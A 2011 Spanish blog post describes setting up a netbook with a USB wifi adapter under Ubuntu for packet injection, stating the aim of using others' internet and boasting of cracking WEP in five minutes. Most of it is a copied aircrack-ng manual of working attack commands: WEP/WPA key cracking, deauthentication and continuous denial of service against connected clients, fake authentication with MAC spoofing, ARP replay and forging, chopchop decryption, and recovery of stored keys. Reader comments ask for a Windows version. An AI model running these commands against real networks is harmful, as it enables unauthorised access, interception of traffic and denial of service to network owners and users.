Wardriving usando Compaq mini con un pincho-wifi

7 09 2011

Al fin lo he conseguido.

He logrado configurar el netbook HP Compaq mini 701ES de mi cuñada para que monitoree e injecte paquetes en redes wifi con el fin de poder hacer uso de internet, ese gran bien que debería ser de todos. Yo me pago mi internet, así que espero que esta redacción solo sirva para instruir no para que la sigáis… al menos no sin la supervisión de alguno de vuestros padres.;)

Este netbook (como muchos otros) trae una WLAN 802.11b/g y para ella los driver que tiran son de Broadcom. El problema viene cuando se intenta utilizar para injectar paquetes. No puedes.

Decidí pillarme un pincho wifi, por 12 leuros, un D-link DWA-125, … un modelo decentillo y estuve probando y tampoco, nada.

Lo estuve probando en windows, mac, y por supuesto, decidí que debía ser linux.
Intentando con multitud de distros especializadas en auditoria de seguridad (sifislax, wifiway, backtrack, ubuntu, etc…), configurando mil opciones, bajando drivers y probando diversos fuentes, etc… y nada de nada.

http://www.ubuntu.com/

Terminé pensando que los fabricantes publican los drivers para las placas pero sin todas las puertas abiertas, es decir, no te lo van a poner tan fácil para el pirateo.. no?
De modo que me puse a compilar fuentes para sacarle brillo a los drivers “capados”.Incluso llegué a probar con Debian a fuego… y casi… me lié con las opciones y tenía sueño… 🙂

En fin, maldije a HP y a broadcom, y de paso a China, que es de donde venía todo. 🙂

Tras unos meses ya casi lo había olvidado todo (Fati, perdona por la espera) cuando escuche que ya había salido la 11.04 beta de Ubuntu (Natty) y me dije, porqué no… voy a probar. De hecho, recuerdo que la dificultad de estos drivers, tanto los de Broadcom como los de RT del D-link no podían haber pasado por alto en las revisiones de esta distro… digo yo.

Instalé una partición pequeñita para linux y adelante. Bueno, pues bingo!!!.
La D-link DWA-125 a la primera!! me deja ponerla en modo monitor y cuando me puse a lanzar paquetes, … voila!! injectando que es gerundio!!! … me puse como loco a probar todas las herramientas del aircrack-ng. Todas funcionan a la perfección!!

En una de las versiones que probé anteriormente con Debian, logré injectar y monitorizar con la broadcom interna pero se me quedaba colgado el netbook… supongo que los driver b43 / bcm … no podían hacer mucho con la tarjeta, sin embargo el pincho ha ido como la seda. 
Por lo tanto he deducido finalmente que la solución para los netbooks con tarjetas parecidas, en las que los fabricantes han decidido ponerlo dificil… es, efectivamente no usar dichas tarjetas para la injección y pillarse un pincho por 12 leuros e instalar Natty. PUNTO. a disfrutar!!!
🙂

Para mi trabajar a nivel de comandos es fácil pero para terceros no tiene porque ser así, de modo que he descargado una versión GUI de la suite aircrack-ng y de maravilla.

Os dejo algunos pantallazos y al final un resumen de la utilidad.
Por cierto, tardé 5 minutos en romper una WEP…  😉

En línea de comando vía terminal, al estilo “hacker”, …

Usando GUI, al estilo “usuario”, …

El siguiente resumen de comandos está extraido de 

http://www.seguridadwireless.net/hwagm/manual-aircrack-ng-castellano.html





aircrack-ng
aircrack-ng [opciones]

Los archivo(s) de captura pueden estar en formato cap o ivs.
-a
amode
Fuerza el tipo de ataque (1 = WEP estática, 2 = WPA-PSK).

-e
essid
Si se especifica, se usarán todos los IVs de las redes con el mismo ESSID. Esta opción es necesaria en el caso de que el ESSID no esté abiertamente difundido en una recuperación de claves WPA-PSK (ESSID oculto).

-b
bssid
Selecciona la red elegida basándose en la dirección MAC.

-p
nbcpu
En sistemas SMP , especifica con esta opción el número de CPUs.

-q
Activa el modo silencioso (no muestra el estado hasta que la clave  es o no encontrada).

-c
(recuperación WEP) Limita la búsqueda a caracteres alfanuméricos sólamente (0x20 – 0x7F).

-t
(recuperación WEP) Limita la búsqueda a los caracteres hexa decimales codificados en binario.

-h
(recuperación WEP) Limita la búsqueda a los caracteres numericos (0×30-0×39)
 Estas contraseñas son usadas por defecto en la mayoría de las Fritz!BOXes (routers configurados por defecto).

-d
start
(recuperación WEP) Especifica el comienzo de la clave WEP (en hex), usado para depuración.

-m
maddr
(recuperación WEP) Dirección MAC para la que filtrar los paquetes de datos WEP.
Alternativamente, especifica -m ff:ff:ff:ff:ff:ff para usar todos y cada uno de los IVs, indiferentemente de la red que sea.

-n
nbits
(recuperación WEP) Especifica la longitud de la clave: 64 para WEP de 40-bit , 128 para WEP de 104-bit , etc. El valor predeterminado es 128.

-i
index
(recuperación WEP) Conserva sólo los IVs que tienen este índice de clave (1 a 4).
 El comportamiento predeterminado es ignorar el índice de la clave.

-f
fudge
(recuperación WEP) De forma predeterminada, este parámetro está establecido en 2 para WEP de 104-bit y en 5 para WEP de 40-bit.
Especifica un valor más alto para elevar el nivel de fuerza bruta: la recuperación de claves llevará más tiempo, pero con una mayor posibilidad de éxito.

-k
korek
(recuperación WEP) Hay 17 ataques de tipo estadístico de korek. A veces un  ataque crea un enorme falso positivo que evita que se obtenga la clave, incluso con grandes cantidades de IVs. Prueba -k 1, -k 2, … -k 17 para ir desactivando cada uno de los ataques de forma selectiva.

-x ó -x0
(recuperación WEP) No aplicar fuerza bruta sobre los dos últimos keybytes.

-x1
(recuperación WEP) Aplicar fuerza bruta sobre el último keybyte.

-x2
(recuperación WEP) Aplicar fuerza bruta sobre los dos últimos keybytes.

-X
No aplicar fuerza bruta multiproceso (En sistemas SMP).

-y
(recuperación WEP) Éste es un ataque de fuerza bruta experimental único que  debería ser usado cuando el método normal de ataque falle con más de un millón de IVs.

-s
(recuperación WEP) Mostrar la clave en formato ASCII.

-z
(recuperación WEP) Opción de ataque PTW (Solo funciona bajo archivos .cap)

-w
words
(recuperación WPA) Ruta hacia la lista de palabras o “-” sin comillas para
 utilizar complementos de tipo (fuerza bruta).

 

ivstools

Esta es una utilidad muy buena ya que sirve para:

1º)unir archivos ivs en uno solo usamos el siguiente comando:

ivstools –merge captura1.ivs captura2.ivs captura3.ivs archivofinal.ivs

siendo captura(s) los archivos que queremos unir y archivofinal el que nos generara como unión de los anteriores

2º)Para convertir un archivo con extensión cap en ivs:

ivstools –captura.cap archivofinal.ivs

 
makeivs

Es una utilidad que nos permite crear un archivo con extensión ivs con la clave que nosotros le añadamos (es solo para hacer pruebas no sirve para nada mas)

makeivs.exe  captura.ivs  866578388f517be0b4818a0db1

siendo captura el archivo inventado y 866578388f517be0b4818a0db1la clave inventada

Airmon-ng

Sirve para poner nuestra tarjeta en modo monitor antes de empezar a capturar trafico debemos poner nuestra tarjeta en modo monitor usando este script para ello tecleamos:

airmon-ng [canal]

start: para activar el modo monitor.
stop: para parar el modo monitor.
dispositivo: nuestra tarjeta (ath0, eth0, raw0…..)

Airodump-ng
Descripción

Se usa para capturar datos trasmitidos a través del protocolo 802.11 y en particular para la captura y recolección de IVs (vectores iniciales) de los paquetes WEP con la intención de usar aircrack-ng. Si existe un receptor GPS conectado al ordenador airodump-ng muestra las coordenadas del AP.

Uso

Antes de usarlo debes haber iniciado el script airmon-ng para que se muestren los dispositivos wireless que posees y para activar el modo monitor. Puedes, pero no se recomienda que ejecutes Kismet y airodump al mismo tiempo.

airodump-ng [opcione(s)]

OPCIONES:

   –ivs: Captura solo ivs
   –gpsd: Para usar un dispositivo Gps
   –write    :crea un archivo del nombre que le hallamos puestos y con la extensión(.cap ó .ivs) y empieza a capturar.
   -w: es lo mismo que poner write
   –beacons: Guarda los beacons, por defecto no los guarda.
Por defecto airodump captura todos los canales que se encuentren dentro de la frecuencia 2,4 GHz.

   –channel :Captura el canal especificado
   -c: Lo mismo que escribir channel
   -a: Captura en la frecuencia de 5Ghz especifica del canal a
   -abg: Captura tanto en frecuencias de 2,4Ghz como en 5 Ghz

Para configurar correctamente los comandos debemos seguir el orden en el que están escritos en este texto y omitir el comando que no deseemos modificar:

Ejemplos:

airodump-ng –ivs -w prueba -c 11 -abg ath0

capturaría solo ivs creando un archivo llamado prueba en el canal 11 tanto en a/b/g

airodump-ng -w prueba -c 11 -abg ath0

capturaría creando un archivo cap llamado prueba en el canal 11 tanto en a/b/g

*Airodump oscila entre WEP y WPA.
Esto ocurre cuando tu controlador no desecha los paquetes corruptos (los que tienen CRC inválido). Si es un  ipw2100 (Centrino b), simplemente no tiene arreglo; ve y compra una tarjeta mejor. Si es una Prism2, prueba a actualizar el firmware.

*¿ Cuál es el significado de los campos mostrados por airodump-ng ?

airodump-ng mostrará una lista con los puntos de acceso detectados, y también una lista de clientes conectados o estaciones (“stations”).

 

Aireplay-ng

Se pueden realizar 5 ataques diferentes:

Ataque 0: Desautentificación
Ataque 1: Autentificación falsa
Ataque 2: Selección interactiva del paquete a enviar
Ataque 3: Reinyección de petición ARP
Ataque 4: El “chopchop” de KoreK (predicción de CRC)

Ataque 0: Desautentificación

Este ataque se puede utilizar para varios propósitos:

*Capturar el WPA Handshake

Para ello debemos poner el siguiente comando:

aireplay-ng -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0

0 significa desautentificación de cliente sirve para que se vuelva a asociar, vaciando de esta forma el cache ARP y por lo tanto volviendo a enviar su handshake.

-a 00:13:10:30:24:9C Seria el AP

-c 00:09:5B:EB:C5:2B Seria una Station asociada a esa AP. Si omitimos esta ultima parte el ataque se realiza sobre todos las Station conectadas a ese AP.

ath0 Es nuestra tarjeta según los diversos modelos de tarjeta (chip) varia wlan0, eth0, ra0….

*Reinyección ARP

aireplay-ng -0 10 -a 00:13:10:30:24:9C ath0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B ath0

como podemos observar el primer comando es una desautentificación seguida de una reinyección de los paquetes obtenidos se supone que al haber vaciado la cache del cliente y volverse a conectar vuelve a enviar la contraseña   
-b 00:13:10:30:24:9C Seria el AP
-h 00:09:5B:EB:C5:2B Seria el cliente

*Denegación del servicio a clientes conectados

Se basa en el envió continuo de paquetes de desautentificación con la consiguiente imposibilidad del(os) cliente(s) de conectarse.

aireplay-ng -0 0 -a 00:13:10:30:24:9C ath0

0 hace que envié paquetes continuamente a cualquier Station conectado a ese AP si solo queremos uno en particular enviaríamos con el comando:

aireplay-ng -0 0 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0

Ataque 1: Autentificación falsa
Este ataque es solamente  exitoso cuando necesitamos un cliente asociado al AP para realizar los ataques 2, 3, 4 (-h opción)  y no lo tenemos. Por lo tanto consiste en crear nosotros mismos un cliente que se asociara a ese AP .Hay que recordar llegando a este punto que siempre será mejor un cliente verdadero ya que el falso no genera trafico ARP.

Se recomienda que antes de realizar este ataque cambiemos nuestra dirección MAC de la tarjeta para que envié correctamente ACKs (peticiones).

ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

Una vez realizado esto lanzamos el ataque de la siguiente forma:

aireplay-ng -1 0 -e ‘the ssid’ -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
12:14:06  Sending Authentication Request
12:14:06  Authentication successful
12:14:06  Sending Association Request
12:14:07  Association successful 🙂

‘the ssid’ sin las comillas es el nombre del AP 00:11:22:33:44:55 Cliente falso

Con los CVS 2005-08-14 madwifi parcheados, es posible inyectar paquetes estando en modo Infraestructura (la clave WEP en sí misma no importa, en tanto que el AP acepte autenticación abierta). Por lo que, en lugar de usar el ataque 1, puedes sólo asociarte e inyectar / monitorizar a través de la interfaz athXraw:

ifconfig ath0 down hw ether 00:11:22:33:44:55
iwconfig ath0 mode Managed essid ‘the ssid’ key AAAAAAAAAA
ifconfig ath0 up
sysctl -w dev.ath0.rawdev=1
ifconfig ath0raw up
airodump-ng ath0raw out 6

Entonces puedes ejecutar el ataque 3 o el 4 (abajo, aireplay reemplazará automáticamente ath0 por ath0raw):

aireplay-ng -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0
aireplay-ng -4 -h 00:10:20:30:40:50 -f 1 ath0
Este ataque mencionado anteriormente hay muchas veces que falla y no es 100% seguro ya que ha sido probado por muchos de nosotros. El AP es cierto que escupe ivs pero hay veces que al intentar sacar la clave descubrimos que la clave es la introducida por nosotros por lo tanto no serviría de nada

Algunos puntos de acceso requieren de reautentificación cada 30 segundos, si no nuestro cliente falso será considerado desconectado. En este caso utiliza el retardo de re-asociación periódica:

aireplay-ng -1 30 -e ‘the ssid’ -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

si en vez de 30 segundos queremos 20 pues escribimos 20 si fuesen 10 modificamos por 10 y asi sucesivamente

Si este ataque parece fallar (aireplay permanece enviando paquetes de petición de autenticación), puede que esté siendo usado un filtrado de direcciones MAC. Asegúrate también de que:

Estás lo suficientemente cerca del punto de acceso, pero ojo no demasiado porque también puede fallar.
El controlador está correctamente parcheado e instalado.
La tarjeta está configurada en el mismo canal que el AP.
El BSSID y el ESSID (opciones -a / -e) son correctos.
Si se trata de Prism2, asegúrate de que el firmware está actualizado.

Ataque 2: Selección interactiva del paquete a enviar

Este ataque te permite elegir un paquete dado para reenviarlo; a veces proporciona resultados más efectivos que el ataque 3 (reinyección automática de ARP).

Podrías usarlo, por ejemplo, para intentar el ataque “redifundir cualesquiera datos”, el cuál sólo funciona si el AP realmente reencripta los paquetes de datos WEP:

aireplay-ng -2 -b 00:13:10:30:24:9C -n 100 -p 0841 -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0

También puedes usar el ataque 2 para reenviar manualmente paquetes de peticiones ARP encriptadas con WEP, cuyo tamaño es bien 68 o 86 bytes (dependiendo del sistema operativo):

aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0
aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0

Otra buena idea es capturar una cierta cantidad de trafico y echarle un ojo con ethereal. Si creemos al examinar el trafico que hay dos paquetes que parecen una petición y una respuesta (Un cliente envía un paquete y poco después el destinatario responde a este) entonces es una buena idea intentar reinyectar el paquete petición para obtener paquetes respuestas

Ataque 3: Reinyección de petición ARP

El clásico ataque de reinyección de petición ARP es el mas efectivo para generar nuevos IVs, y funciona de forma muy eficaz. Necesitas o bien la dirección MAC de un cliente asociado (00:09:5B:EB:C5:2B), o bien la de un cliente falso del ataque 1 (00:11:22:33:44:55). Puede que tengas que esperar un par de minutos, o incluso más, hasta que aparezca una petición ARP; este ataque fallará si no hay tráfico.

Por favor, fíjate en que también puedes reutilizar una petición ARP de una captura anterior usando el interruptor -r .

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets…

El “chopchop” de KoreK (predicción de CRC)

Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela meramente el texto plano. De cualquier modo, la mayoría de los puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el AP tira paquetes menores de 42 bytes aireplay trata de adivinar el resto de la información que le falta, tan pronto como el encabezado se predecible. Si un paquete IP es capturado automáticamente busca el checksum del encabezado
después de haber adivinado las partes que le faltaban. Este ataque requiere como mínimo un paquete WEP (encriptado).

1. Primero, desencriptemos un paquete:

aireplay-ng -4 ath0

Si esto falla, es debido a que hay veces que el AP tira la información porque no sabe de que dirección MAC proviene. En estos casos debemos usar la dirección MAC de un cliente que este conectado y que tenga permiso (filtrado MAC activado).

aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0

2. Echemos un vistazo a la dirección IP:

tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
reading from file replay_dec-0627-022301.cap, link-type […]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

3. Ahora, forjemos una petición ARP.

La IP inicial no importa (192.168.1.100), pero la Ip de destino (192.168.1.2) debe responder a peticiones ARP. La dirección MAC inicial debe corresponder a una estación asociada.

arpforge-ng replay_dec-0627-022301.xor 1 00:13:10:30:24:9C 00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap

4. Y reenviemos nuestra petición ARP forjada:

aireplay-ng -2 -r arp.cap ath0

 

Airdecap-ng

Sirve para desencriptar los paquetes capturados una vez obtenida la clave ya sea WEP o WPA

airdecap-ng [opciones]

Ejemplos:

airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
airdecap-ng -e ‘the ssid’ -p passphrase  tkip.cap

Wzcook

Sirve para recuperar las claves WEP de la utilidad de XP Wireless Zero Configuration. Éste es un software experimental, por lo que puede que funcione y puede que no, dependiendo del nivel de service pack que tengas.

WZCOOK mostrará el PMK (Pairwise Master Key), un valor de 256-bit que es el resultado de codificar 8192 veces la contraseña junto con el ESSID y la longitud del ESSID. La contraseña en sí no se puede recuperar — de todos modos, basta con conocer el PMK para conectar con una red inalámbrica protegida mediante WPA con wpa_supplicant (ver el Windows README). Tu archivo de configuración wpa_supplicant.conf debería quedar así:

network={
   ssid=”my_essid”
   pmk=5c9597f3c8245907ea71a89d[…]9d39d08e

Si no usas WZC pero usas la utilidad USR, accede al registro:

HKey_Current_User/Software/ACXPROFILE/profilename/dot11WEPDefaultKey1
Anuncios

Acciones

Information

2 responses

26 09 2011
David

Hola, soy Almodovar y me ha parecido interesante el post, pero mi conocimiento es mas limitado y me ayudaría saber mas que software tendría que instalar y como usarlo. En mi caso no trabajo con Linux, trabajo bajo Windows y no me queda claro del todo si el software usado vale para este SO.

Gracias, un saludo.

PD: No salen los buro…

26 09 2011
Patxy

Hola David Almodovar, disfruta del enlace:
http://www.aircrack.es/

Por cierto, en breve pondré otro post explicando el mecanismo y resultados usandolo desde Windows. Las opciones son las mismas.

Un Saludo y a disfrutar!!

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s




A %d blogueros les gusta esto: